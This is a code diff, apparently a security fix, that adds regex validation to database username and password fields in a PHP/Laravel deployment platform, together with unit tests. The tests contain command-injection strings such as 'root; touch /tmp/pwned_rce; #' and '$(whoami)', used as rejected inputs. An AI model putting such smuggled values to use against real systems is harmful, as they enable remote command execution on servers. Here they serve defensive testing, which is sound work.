customApiValidator($request->all(), [ - 'redis_password' => 'string', + 'redis_password' => ValidationPatterns::databasePasswordRules(required: false), 'redis_conf' => 'string', ]); if ($request->has('redis_conf')) { @@ -450,7 +450,7 @@ public function update_by_uuid(Request $request) case 'standalone-keydb': $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'keydb_password', 'keydb_conf']; $validator = customApiValidator($request->all(), [ - 'keydb_password' => 'string', + 'keydb_password' => ValidationPatterns::databasePasswordRules(required: false), 'keydb_conf' => 'string', ]); if ($request->has('keydb_conf')) { @@ -478,10 +478,10 @@ public function update_by_uuid(Request $request) $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'mariadb_conf', 'mariadb_root_password', 'mariadb_user', 'mariadb_password', 'mariadb_database']; $validator = customApiValidator($request->all(), [ 'mariadb_conf' => 'string', - 'mariadb_root_password' => 'string', - 'mariadb_user' => 'string', - 'mariadb_password' => 'string', - 'mariadb_database' => 'string', + 'mariadb_root_password' => ValidationPatterns::databasePasswordRules(required: false), + 'mariadb_user' => ValidationPatterns::databaseIdentifierRules(required: false), + 'mariadb_password' => ValidationPatterns::databasePasswordRules(required: false), + 'mariadb_database' => ValidationPatterns::databaseIdentifierRules(required: false), ]); if ($request->has('mariadb_conf')) { if (! isBase64Encoded($request->mariadb_conf)) { @@ -508,9 +508,9 @@ public function update_by_uuid(Request $request) $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'mongo_conf', 'mongo_initdb_root_username', 'mongo_initdb_root_password', 'mongo_initdb_database']; $validator = customApiValidator($request->all(), [ 'mongo_conf' => 'string', - 'mongo_initdb_root_username' => 'string', - 'mongo_initdb_root_password' => 'string', - 'mongo_initdb_database' => 'string', + 'mongo_initdb_root_username' => ValidationPatterns::databaseIdentifierRules(required: false), + 'mongo_initdb_root_password' => ValidationPatterns::databasePasswordRules(required: false), + 'mongo_initdb_database' => ValidationPatterns::databaseIdentifierRules(required: false), ]); if ($request->has('mongo_conf')) { if (! isBase64Encoded($request->mongo_conf)) { @@ -537,10 +537,10 @@ public function update_by_uuid(Request $request) case 'standalone-mysql': $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'mysql_root_password', 'mysql_password', 'mysql_user', 'mysql_database', 'mysql_conf']; $validator = customApiValidator($request->all(), [ - 'mysql_root_password' => 'string', - 'mysql_password' => 'string', - 'mysql_user' => 'string', - 'mysql_database' => 'string', + 'mysql_root_password' => ValidationPatterns::databasePasswordRules(required: false), + 'mysql_password' => ValidationPatterns::databasePasswordRules(required: false), + 'mysql_user' => ValidationPatterns::databaseIdentifierRules(required: false), + 'mysql_database' => ValidationPatterns::databaseIdentifierRules(required: false), 'mysql_conf' => 'string', ]); if ($request->has('mysql_conf')) { @@ -1724,9 +1724,9 @@ public function create_database(Request $request, NewDatabaseTypes $type) if ($type === NewDatabaseTypes::POSTGRESQL) { $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'postgres_user', 'postgres_password', 'postgres_db', 'postgres_initdb_args', 'postgres_host_auth_method', 'postgres_conf']; $validator = customApiValidator($request->all(), [ - 'postgres_user' => 'string', - 'postgres_password' => 'string', - 'postgres_db' => 'string', + 'postgres_user' => ValidationPatterns::databaseIdentifierRules(required: false), + 'postgres_password' => ValidationPatterns::databasePasswordRules(required: false), + 'postgres_db' => ValidationPatterns::databaseIdentifierRules(required: false), 'postgres_initdb_args' => 'string', 'postgres_host_auth_method' => 'string', 'postgres_conf' => 'string', @@ -1783,8 +1783,11 @@ public function create_database(Request $request, NewDatabaseTypes $type) } elseif ($type === NewDatabaseTypes::MARIADB) { $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'mariadb_conf', 'mariadb_root_password', 'mariadb_user', 'mariadb_password', 'mariadb_database']; $validator = customApiValidator($request->all(), [ - 'clickhouse_admin_user' => 'string', - 'clickhouse_admin_password' => 'string', + 'mariadb_conf' => 'string', + 'mariadb_root_password' => ValidationPatterns::databasePasswordRules(required: false), + 'mariadb_user' => ValidationPatterns::databaseIdentifierRules(required: false), + 'mariadb_password' => ValidationPatterns::databasePasswordRules(required: false), + 'mariadb_database' => ValidationPatterns::databaseIdentifierRules(required: false), ]); $extraFields = array_diff(array_keys($request->all()), $allowedFields); if ($validator->fails() || ! empty($extraFields)) { @@ -1839,10 +1842,10 @@ public function create_database(Request $request, NewDatabaseTypes $type) } elseif ($type === NewDatabaseTypes::MYSQL) { $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'mysql_root_password', 'mysql_password', 'mysql_user', 'mysql_database', 'mysql_conf']; $validator = customApiValidator($request->all(), [ - 'mysql_root_password' => 'string', - 'mysql_password' => 'string', - 'mysql_user' => 'string', - 'mysql_database' => 'string', + 'mysql_root_password' => ValidationPatterns::databasePasswordRules(required: false), + 'mysql_password' => ValidationPatterns::databasePasswordRules(required: false), + 'mysql_user' => ValidationPatterns::databaseIdentifierRules(required: false), + 'mysql_database' => ValidationPatterns::databaseIdentifierRules(required: false), 'mysql_conf' => 'string', ]); $extraFields = array_diff(array_keys($request->all()), $allowedFields); @@ -1898,7 +1901,7 @@ public function create_database(Request $request, NewDatabaseTypes $type) } elseif ($type === NewDatabaseTypes::REDIS) { $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'redis_password', 'redis_conf']; $validator = customApiValidator($request->all(), [ - 'redis_password' => 'string', + 'redis_password' => ValidationPatterns::databasePasswordRules(required: false), 'redis_conf' => 'string', ]); $extraFields = array_diff(array_keys($request->all()), $allowedFields); @@ -1954,7 +1957,7 @@ public function create_database(Request $request, NewDatabaseTypes $type) } elseif ($type === NewDatabaseTypes::DRAGONFLY) { $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'dragonfly_password']; $validator = customApiValidator($request->all(), [ - 'dragonfly_password' => 'string', + 'dragonfly_password' => ValidationPatterns::databasePasswordRules(required: false), ]); $extraFields = array_diff(array_keys($request->all()), $allowedFields); @@ -1984,7 +1987,7 @@ public function create_database(Request $request, NewDatabaseTypes $type) } elseif ($type === NewDatabaseTypes::KEYDB) { $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'keydb_password', 'keydb_conf']; $validator = customApiValidator($request->all(), [ - 'keydb_password' => 'string', + 'keydb_password' => ValidationPatterns::databasePasswordRules(required: false), 'keydb_conf' => 'string', ]); $extraFields = array_diff(array_keys($request->all()), $allowedFields); @@ -2040,8 +2043,8 @@ public function create_database(Request $request, NewDatabaseTypes $type) } elseif ($type === NewDatabaseTypes::CLICKHOUSE) { $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'clickhouse_admin_user', 'clickhouse_admin_password']; $validator = customApiValidator($request->all(), [ - 'clickhouse_admin_user' => 'string', - 'clickhouse_admin_password' => 'string', + 'clickhouse_admin_user' => ValidationPatterns::databaseIdentifierRules(required: false), + 'clickhouse_admin_password' => ValidationPatterns::databasePasswordRules(required: false), ]); $extraFields = array_diff(array_keys($request->all()), $allowedFields); if ($validator->fails() || ! empty($extraFields)) { @@ -2077,9 +2080,9 @@ public function create_database(Request $request, NewDatabaseTypes $type) $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'mongo_conf', 'mongo_initdb_root_username', 'mongo_initdb_root_password', 'mongo_initdb_database']; $validator = customApiValidator($request->all(), [ 'mongo_conf' => 'string', - 'mongo_initdb_root_username' => 'string', - 'mongo_initdb_root_password' => 'string', - 'mongo_initdb_database' => 'string', + 'mongo_initdb_root_username' => ValidationPatterns::databaseIdentifierRules(required: false), + 'mongo_initdb_root_password' => ValidationPatterns::databasePasswordRules(required: false), + 'mongo_initdb_database' => ValidationPatterns::databaseIdentifierRules(required: false), ]); $extraFields = array_diff(array_keys($request->all()), $allowedFields); if ($validator->fails() || ! empty($extraFields)) { diff --git a/app/Livewire/Project/Database/Clickhouse/General.php b/app/Livewire/Project/Database/Clickhouse/General.php index e06629d10..3a367844a 100644 --- a/app/Livewire/Project/Database/Clickhouse/General.php +++ b/app/Livewire/Project/Database/Clickhouse/General.php @@ -76,8 +76,8 @@ protected function rules(): array return [ 'name' => ValidationPatterns::nameRules(), 'description' => ValidationPatterns::descriptionRules(), - 'clickhouseAdminUser' => 'required|string', - 'clickhouseAdminPassword' => 'required|string', + 'clickhouseAdminUser' => ValidationPatterns::databaseIdentifierRules(), + 'clickhouseAdminPassword' => ValidationPatterns::databasePasswordRules(), 'image' => 'required|string', 'portsMappings' => ValidationPatterns::portMappingRules(), 'isPublic' => 'nullable|boolean', @@ -96,10 +96,8 @@ protected function messages(): array ValidationPatterns::combinedMessages(), ValidationPatterns::portMappingMessages(), [ - 'clickhouseAdminUser.required' => 'The Admin User field is required.', - 'clickhouseAdminUser.string' => 'The Admin User must be a string.', - 'clickhouseAdminPassword.required' => 'The Admin Password field is required.', - 'clickhouseAdminPassword.string' => 'The Admin Password must be a string.', + ...ValidationPatterns::databaseIdentifierMessages('clickhouseAdminUser', 'Admin User'), + ...ValidationPatterns::databasePasswordMessages('clickhouseAdminPassword', 'Admin Password'), 'image.required' => 'The Docker Image field is required.', 'image.string' => 'The Docker Image must be a string.', 'publicPort.integer' => 'The Public Port must be an integer.', diff --git a/app/Livewire/Project/Database/Dragonfly/General.php b/app/Livewire/Project/Database/Dragonfly/General.php index 5176f5ff9..38f11ec21 100644 --- a/app/Livewire/Project/Database/Dragonfly/General.php +++ b/app/Livewire/Project/Database/Dragonfly/General.php @@ -89,7 +89,7 @@ protected function rules(): array return [ 'name' => ValidationPatterns::nameRules(), 'description' => ValidationPatterns::descriptionRules(), - 'dragonflyPassword' => 'required|string', + 'dragonflyPassword' => ValidationPatterns::databasePasswordRules(), 'image' => 'required|string', 'portsMappings' => ValidationPatterns::portMappingRules(), 'isPublic' => 'nullable|boolean', @@ -109,8 +109,7 @@ protected function messages(): array ValidationPatterns::combinedMessages(), ValidationPatterns::portMappingMessages(), [ - 'dragonflyPassword.required' => 'The Dragonfly Password field is required.', - 'dragonflyPassword.string' => 'The Dragonfly Password must be a string.', + ...ValidationPatterns::databasePasswordMessages('dragonflyPassword', 'Dragonfly Password'), 'image.required' => 'The Docker Image field is required.', 'image.string' => 'The Docker Image must be a string.', 'publicPort.integer' => 'The Public Port must be an integer.', diff --git a/app/Livewire/Project/Database/Keydb/General.php b/app/Livewire/Project/Database/Keydb/General.php index b50f196a8..1832091b3 100644 --- a/app/Livewire/Project/Database/Keydb/General.php +++ b/app/Livewire/Project/Database/Keydb/General.php @@ -92,7 +92,7 @@ protected function rules(): array 'name' => ValidationPatterns::nameRules(), 'description' => ValidationPatterns::descriptionRules(), 'keydbConf' => 'nullable|string', - 'keydbPassword' => 'required|string', + 'keydbPassword' => ValidationPatterns::databasePasswordRules(), 'image' => 'required|string', 'portsMappings' => ValidationPatterns::portMappingRules(), 'isPublic' => 'nullable|boolean', @@ -114,8 +114,7 @@ protected function messages(): array ValidationPatterns::combinedMessages(), ValidationPatterns::portMappingMessages(), [ - 'keydbPassword.required' => 'The KeyDB Password field is required.', - 'keydbPassword.string' => 'The KeyDB Password must be a string.', + ...ValidationPatterns::databasePasswordMessages('keydbPassword', 'KeyDB Password'), 'image.required' => 'The Docker Image field is required.', 'image.string' => 'The Docker Image must be a string.', 'publicPort.integer' => 'The Public Port must be an integer.', diff --git a/app/Livewire/Project/Database/Mariadb/General.php b/app/Livewire/Project/Database/Mariadb/General.php index 9a1a8bd68..b178dd969 100644 --- a/app/Livewire/Project/Database/Mariadb/General.php +++ b/app/Livewire/Project/Database/Mariadb/General.php @@ -74,10 +74,10 @@ protected function rules(): array return [ 'name' => ValidationPatterns::nameRules(), 'description' => ValidationPatterns::descriptionRules(), - 'mariadbRootPassword' => 'required', - 'mariadbUser' => 'required', - 'mariadbPassword' => 'required', - 'mariadbDatabase' => 'required', + 'mariadbRootPassword' => ValidationPatterns::databasePasswordRules(), + 'mariadbUser' => ValidationPatterns::databaseIdentifierRules(), + 'mariadbPassword' => ValidationPatterns::databasePasswordRules(), + 'mariadbDatabase' => ValidationPatterns::databaseIdentifierRules(), 'mariadbConf' => 'nullable', 'image' => 'required', 'portsMappings' => ValidationPatterns::portMappingRules(), @@ -97,10 +97,10 @@ protected function messages(): array ValidationPatterns::portMappingMessages(), [ 'name.required' => 'The Name field is required.', - 'mariadbRootPassword.required' => 'The Root Password field is required.', - 'mariadbUser.required' => 'The MariaDB User field is required.', - 'mariadbPassword.required' => 'The MariaDB Password field is required.', - 'mariadbDatabase.required' => 'The MariaDB Database field is required.', + ...ValidationPatterns::databasePasswordMessages('mariadbRootPassword', 'Root Password'), + ...ValidationPatterns::databaseIdentifierMessages('mariadbUser', 'MariaDB User'), + ...ValidationPatterns::databasePasswordMessages('mariadbPassword', 'MariaDB Password'), + ...ValidationPatterns::databaseIdentifierMessages('mariadbDatabase', 'MariaDB Database'), 'image.required' => 'The Docker Image field is required.', 'publicPort.integer' => 'The Public Port must be an integer.', 'publicPort.min' => 'The Public Port must be at least 1.', diff --git a/app/Livewire/Project/Database/Mongodb/General.php b/app/Livewire/Project/Database/Mongodb/General.php index a21de744a..5c08b76e8 100644 --- a/app/Livewire/Project/Database/Mongodb/General.php +++ b/app/Livewire/Project/Database/Mongodb/General.php @@ -75,9 +75,9 @@ protected function rules(): array 'name' => ValidationPatterns::nameRules(), 'description' => ValidationPatterns::descriptionRules(), 'mongoConf' => 'nullable', - 'mongoInitdbRootUsername' => 'required', - 'mongoInitdbRootPassword' => 'required', - 'mongoInitdbDatabase' => 'required', + 'mongoInitdbRootUsername' => ValidationPatterns::databaseIdentifierRules(), + 'mongoInitdbRootPassword' => ValidationPatterns::databasePasswordRules(), + 'mongoInitdbDatabase' => ValidationPatterns::databaseIdentifierRules(), 'image' => 'required', 'portsMappings' => ValidationPatterns::portMappingRules(), 'isPublic' => 'nullable|boolean', @@ -97,9 +97,9 @@ protected function messages(): array ValidationPatterns::portMappingMessages(), [ 'name.required' => 'The Name field is required.', - 'mongoInitdbRootUsername.required' => 'The Root Username field is required.', - 'mongoInitdbRootPassword.required' => 'The Root Password field is required.', - 'mongoInitdbDatabase.required' => 'The MongoDB Database field is required.', + ...ValidationPatterns::databaseIdentifierMessages('mongoInitdbRootUsername', 'Root Username'), + ...ValidationPatterns::databasePasswordMessages('mongoInitdbRootPassword', 'Root Password'), + ...ValidationPatterns::databaseIdentifierMessages('mongoInitdbDatabase', 'MongoDB Database'), 'image.required' => 'The Docker Image field is required.', 'publicPort.integer' => 'The Public Port must be an integer.', 'publicPort.min' => 'The Public Port must be at least 1.', diff --git a/app/Livewire/Project/Database/Mysql/General.php b/app/Livewire/Project/Database/Mysql/General.php index cacb4ac49..7671ec572 100644 --- a/app/Livewire/Project/Database/Mysql/General.php +++ b/app/Livewire/Project/Database/Mysql/General.php @@ -76,10 +76,10 @@ protected function rules(): array return [ 'name' => ValidationPatterns::nameRules(), 'description' => ValidationPatterns::descriptionRules(), - 'mysqlRootPassword' => 'required', - 'mysqlUser' => 'required', - 'mysqlPassword' => 'required', - 'mysqlDatabase' => 'required', + 'mysqlRootPassword' => ValidationPatterns::databasePasswordRules(), + 'mysqlUser' => ValidationPatterns::databaseIdentifierRules(), + 'mysqlPassword' => ValidationPatterns::databasePasswordRules(), + 'mysqlDatabase' => ValidationPatterns::databaseIdentifierRules(), 'mysqlConf' => 'nullable', 'image' => 'required', 'portsMappings' => ValidationPatterns::portMappingRules(), @@ -100,10 +100,10 @@ protected function messages(): array ValidationPatterns::portMappingMessages(), [ 'name.required' => 'The Name field is required.', - 'mysqlRootPassword.required' => 'The Root Password field is required.', - 'mysqlUser.required' => 'The MySQL User field is required.', - 'mysqlPassword.required' => 'The MySQL Password field is required.', - 'mysqlDatabase.required' => 'The MySQL Database field is required.', + ...ValidationPatterns::databasePasswordMessages('mysqlRootPassword', 'Root Password'), + ...ValidationPatterns::databaseIdentifierMessages('mysqlUser', 'MySQL User'), + ...ValidationPatterns::databasePasswordMessages('mysqlPassword', 'MySQL Password'), + ...ValidationPatterns::databaseIdentifierMessages('mysqlDatabase', 'MySQL Database'), 'image.required' => 'The Docker Image field is required.', 'publicPort.integer' => 'The Public Port must be an integer.', 'publicPort.min' => 'The Public Port must be at least 1.', diff --git a/app/Livewire/Project/Database/Postgresql/General.php b/app/Livewire/Project/Database/Postgresql/General.php index 22e350683..8c23bce8e 100644 --- a/app/Livewire/Project/Database/Postgresql/General.php +++ b/app/Livewire/Project/Database/Postgresql/General.php @@ -86,9 +86,9 @@ protected function rules(): array return [ 'name' => ValidationPatterns::nameRules(), 'description' => ValidationPatterns::descriptionRules(), - 'postgresUser' => 'required', - 'postgresPassword' => 'required', - 'postgresDb' => 'required', + 'postgresUser' => ValidationPatterns::databaseIdentifierRules(), + 'postgresPassword' => ValidationPatterns::databasePasswordRules(), + 'postgresDb' => ValidationPatterns::databaseIdentifierRules(), 'postgresInitdbArgs' => 'nullable', 'postgresHostAuthMethod' => 'nullable', 'postgresConf' => 'nullable', @@ -112,9 +112,9 @@ protected function messages(): array ValidationPatterns::portMappingMessages(), [ 'name.required' => 'The Name field is required.', - 'postgresUser.required' => 'The Postgres User field is required.', - 'postgresPassword.required' => 'The Postgres Password field is required.', - 'postgresDb.required' => 'The Postgres Database field is required.', + ...ValidationPatterns::databaseIdentifierMessages('postgresUser', 'Postgres User'), + ...ValidationPatterns::databasePasswordMessages('postgresPassword', 'Postgres Password'), + ...ValidationPatterns::databaseIdentifierMessages('postgresDb', 'Postgres Database'), 'image.required' => 'The Docker Image field is required.', 'publicPort.integer' => 'The Public Port must be an integer.', 'publicPort.min' => 'The Public Port must be at least 1.', diff --git a/app/Livewire/Project/Database/Redis/General.php b/app/Livewire/Project/Database/Redis/General.php index 3c32a6192..114c73a42 100644 --- a/app/Livewire/Project/Database/Redis/General.php +++ b/app/Livewire/Project/Database/Redis/General.php @@ -81,8 +81,8 @@ protected function rules(): array 'publicPortTimeout' => 'nullable|integer|min:1', 'isLogDrainEnabled' => 'nullable|boolean', 'customDockerRunOptions' => 'nullable', - 'redisUsername' => 'required', - 'redisPassword' => 'required', + 'redisUsername' => ValidationPatterns::databaseIdentifierRules(), + 'redisPassword' => ValidationPatterns::databasePasswordRules(), 'enableSsl' => 'boolean', ]; } @@ -100,8 +100,8 @@ protected function messages(): array 'publicPort.max' => 'The Public Port must not exceed 65535.', 'publicPortTimeout.integer' => 'The Public Port Timeout must be an integer.', 'publicPortTimeout.min' => 'The Public Port Timeout must be at least 1.', - 'redisUsername.required' => 'The Redis Username field is required.', - 'redisPassword.required' => 'The Redis Password field is required.', + ...ValidationPatterns::databaseIdentifierMessages('redisUsername', 'Redis Username'), + ...ValidationPatterns::databasePasswordMessages('redisPassword', 'Redis Password'), ] ); } diff --git a/app/Support/ValidationPatterns.php b/app/Support/ValidationPatterns.php index 88121384f..c8f4171eb 100644 --- a/app/Support/ValidationPatterns.php +++ b/app/Support/ValidationPatterns.php @@ -66,6 +66,98 @@ class ValidationPatterns */ public const DOCKER_NETWORK_PATTERN = '/^[a-zA-Z0-9][a-zA-Z0-9._-]*$/'; + /** + * Pattern for SQL-safe unquoted database identifiers (usernames, database names). + * Allows letters, digits, underscore; first char must be letter or underscore. + * Excludes all shell metacharacters. Max 63 chars (Postgres identifier limit). + */ + public const DB_IDENTIFIER_PATTERN = '/^[A-Za-z_][A-Za-z0-9_]{0,62}$/'; + + /** + * Pattern for database passwords. + * Excludes shell-dangerous characters: backtick, $, ;, |, &, <, >, \, ', ", space, newline, CR, tab, null. + * Allows a broad set of printable characters so passwords remain strong. + */ + public const DB_PASSWORD_PATTERN = '/^[A-Za-z0-9!@#%^*()_+\-=\[\]{}:,.?\/~]+$/'; + + /** + * Get validation rules for database identifier fields (username, database name). + */ + public static function databaseIdentifierRules(bool $required = true, int $minLength = 1, int $maxLength = 63): array + { + $rules = []; + + if ($required) { + $rules[] = 'required'; + } else { + $rules[] = 'nullable'; + } + + $rules[] = 'string'; + $rules[] = "min:$minLength"; + $rules[] = "max:$maxLength"; + $rules[] = 'regex:'.self::DB_IDENTIFIER_PATTERN; + + return $rules; + } + + /** + * Get validation messages for database identifier fields. + */ + public static function databaseIdentifierMessages(string $field, string $label = ''): array + { + $label = $label ?: $field; + + return [ + "{$field}.regex" => "The {$label} may only contain letters, digits, and underscores, and must start with a letter or underscore.", + "{$field}.min" => "The {$label} must be at least :min character.", + "{$field}.max" => "The {$label} may not be greater than :max characters.", + ]; + } + + /** + * Get validation rules for database password fields. + */ + public static function databasePasswordRules(bool $required = true, int $minLength = 1, int $maxLength = 128): array + { + $rules = []; + + if ($required) { + $rules[] = 'required'; + } else { + $rules[] = 'nullable'; + } + + $rules[] = 'string'; + $rules[] = "min:$minLength"; + $rules[] = "max:$maxLength"; + $rules[] = 'regex:'.self::DB_PASSWORD_PATTERN; + + return $rules; + } + + /** + * Get validation messages for database password fields. + */ + public static function databasePasswordMessages(string $field, string $label = ''): array + { + $label = $label ?: $field; + + return [ + "{$field}.regex" => "The {$label} may not contain shell-unsafe characters (backtick, \$, ;, |, &, <, >, \\, quotes, spaces, or control characters).", + "{$field}.min" => "The {$label} must be at least :min character.", + "{$field}.max" => "The {$label} may not be greater than :max characters.", + ]; + } + + /** + * Check if a string is a valid database identifier. + */ + public static function isValidDatabaseIdentifier(string $value): bool + { + return preg_match(self::DB_IDENTIFIER_PATTERN, $value) === 1; + } + /** * Get validation rules for name fields */ diff --git a/tests/Unit/DatabaseCredentialValidationPatternTest.php b/tests/Unit/DatabaseCredentialValidationPatternTest.php new file mode 100644 index 000000000..9331b4cbd --- /dev/null +++ b/tests/Unit/DatabaseCredentialValidationPatternTest.php @@ -0,0 +1,176 @@ +toBe(1); +})->with([ + 'simple lowercase' => 'postgres', + 'underscore prefix' => '_admin', + 'mixed case' => 'MyDatabase', + 'alphanumeric' => 'App_DB_1', + 'single char' => 'a', + 'all caps' => 'ROOT', + 'numbers in middle' => 'db2user', +]); + +it('DB_IDENTIFIER_PATTERN rejects shell-dangerous and invalid identifiers', function (string $id) { + expect(preg_match(ValidationPatterns::DB_IDENTIFIER_PATTERN, $id))->toBe(0); +})->with([ + 'semicolon' => 'user;id', + 'pipe' => 'user|cat', + 'ampersand' => 'user&rm', + 'dollar sign' => 'user$x', + 'backtick' => 'user`id`', + 'subshell' => 'user$(id)', + 'space' => 'user name', + 'newline' => "user\nname", + 'single quote' => "user'name", + 'double quote' => 'user"name', + 'backslash' => 'user\\name', + 'less than' => 'user 'user>name', + 'leading digit' => '1user', + 'hyphen' => 'my-user', + 'dot' => 'my.user', + 'empty' => '', + '64 chars (over limit)' => str_repeat('a', 64), + 'advisory poc payload' => 'root; touch /tmp/pwned_rce; #', + 'subshell payload' => 'a$(touch /tmp/pwn)b', +]); + +// ── DB_PASSWORD_PATTERN ─────────────────────────────────────────────────────── + +it('DB_PASSWORD_PATTERN accepts strong passwords without shell-dangerous chars', function (string $pw) { + expect(preg_match(ValidationPatterns::DB_PASSWORD_PATTERN, $pw))->toBe(1); +})->with([ + 'alphanumeric' => 'SecurePass123', + 'with special safe chars' => 'P@ss!word#1', + 'with brackets' => 'P{a}ss[word]', + 'with slash' => 'Pass/word1', + 'with dot comma' => 'Pass.word,1', + 'with hyphen' => 'Pass-word1', + 'with plus equals' => 'Pass+word=1', + 'with tilde colon' => 'P~ass:word1', + 'complex strong' => 'Str0ng!P@ss#word^123', +]); + +it('DB_PASSWORD_PATTERN rejects shell-dangerous characters', function (string $pw) { + expect(preg_match(ValidationPatterns::DB_PASSWORD_PATTERN, $pw))->toBe(0); +})->with([ + 'backtick' => 'pass`word`', + 'dollar sign' => 'pass$word', + 'semicolon' => 'pass;word', + 'pipe' => 'pass|word', + 'ampersand' => 'pass&word', + 'less than' => 'pass 'pass>word', + 'backslash' => 'pass\\word', + 'single quote' => "pass'word", + 'double quote' => 'pass"word', + 'space' => 'pass word', + 'newline' => "pass\nword", + 'carriage return' => "pass\rword", + 'tab' => "pass\tword", + 'empty' => '', + 'command substitution' => '$(whoami)', + 'rce payload' => 'root; touch /tmp/pwned; #', +]); + +// ── Rule helpers ────────────────────────────────────────────────────────────── + +it('databaseIdentifierRules returns required by default', function () { + $rules = ValidationPatterns::databaseIdentifierRules(); + + expect($rules)->toContain('required') + ->toContain('string') + ->toContain('min:1') + ->toContain('max:63') + ->toContain('regex:'.ValidationPatterns::DB_IDENTIFIER_PATTERN); +}); + +it('databaseIdentifierRules returns nullable when not required', function () { + $rules = ValidationPatterns::databaseIdentifierRules(required: false); + + expect($rules)->toContain('nullable') + ->not->toContain('required'); +}); + +it('databasePasswordRules returns required by default', function () { + $rules = ValidationPatterns::databasePasswordRules(); + + expect($rules)->toContain('required') + ->toContain('string') + ->toContain('min:1') + ->toContain('max:128') + ->toContain('regex:'.ValidationPatterns::DB_PASSWORD_PATTERN); +}); + +it('databasePasswordRules returns nullable when not required', function () { + $rules = ValidationPatterns::databasePasswordRules(required: false); + + expect($rules)->toContain('nullable') + ->not->toContain('required'); +}); + +it('isValidDatabaseIdentifier returns true for valid identifier', function () { + expect(ValidationPatterns::isValidDatabaseIdentifier('postgres'))->toBeTrue(); + expect(ValidationPatterns::isValidDatabaseIdentifier('_admin'))->toBeTrue(); + expect(ValidationPatterns::isValidDatabaseIdentifier('DB_1'))->toBeTrue(); +}); + +it('isValidDatabaseIdentifier returns false for injection payloads', function () { + expect(ValidationPatterns::isValidDatabaseIdentifier('user; id'))->toBeFalse(); + expect(ValidationPatterns::isValidDatabaseIdentifier('user$(whoami)'))->toBeFalse(); + expect(ValidationPatterns::isValidDatabaseIdentifier(''))->toBeFalse(); +}); + +// ── Validator integration ───────────────────────────────────────────────────── + +it('Laravel Validator rejects advisory PoC postgres_user payload', function () { + $validator = Validator::make( + ['postgres_user' => 'root; touch /tmp/pwned_rce; #'], + ['postgres_user' => ValidationPatterns::databaseIdentifierRules()] + ); + + expect($validator->fails())->toBeTrue(); +}); + +it('Laravel Validator rejects subshell injection in postgres_user', function () { + $validator = Validator::make( + ['postgres_user' => 'a$(touch /tmp/pwn)b'], + ['postgres_user' => ValidationPatterns::databaseIdentifierRules()] + ); + + expect($validator->fails())->toBeTrue(); +}); + +it('Laravel Validator accepts clean postgres_user', function () { + $validator = Validator::make( + ['postgres_user' => 'postgres'], + ['postgres_user' => ValidationPatterns::databaseIdentifierRules()] + ); + + expect($validator->fails())->toBeFalse(); +}); + +it('Laravel Validator rejects shell metachar in password', function () { + $validator = Validator::make( + ['postgres_password' => 'pass$(id)word'], + ['postgres_password' => ValidationPatterns::databasePasswordRules()] + ); + + expect($validator->fails())->toBeTrue(); +}); + +it('Laravel Validator accepts safe password', function () { + $validator = Validator::make( + ['postgres_password' => 'Str0ng!P@ss#123'], + ['postgres_password' => ValidationPatterns::databasePasswordRules()] + ); + + expect($validator->fails())->toBeFalse(); +}); diff --git 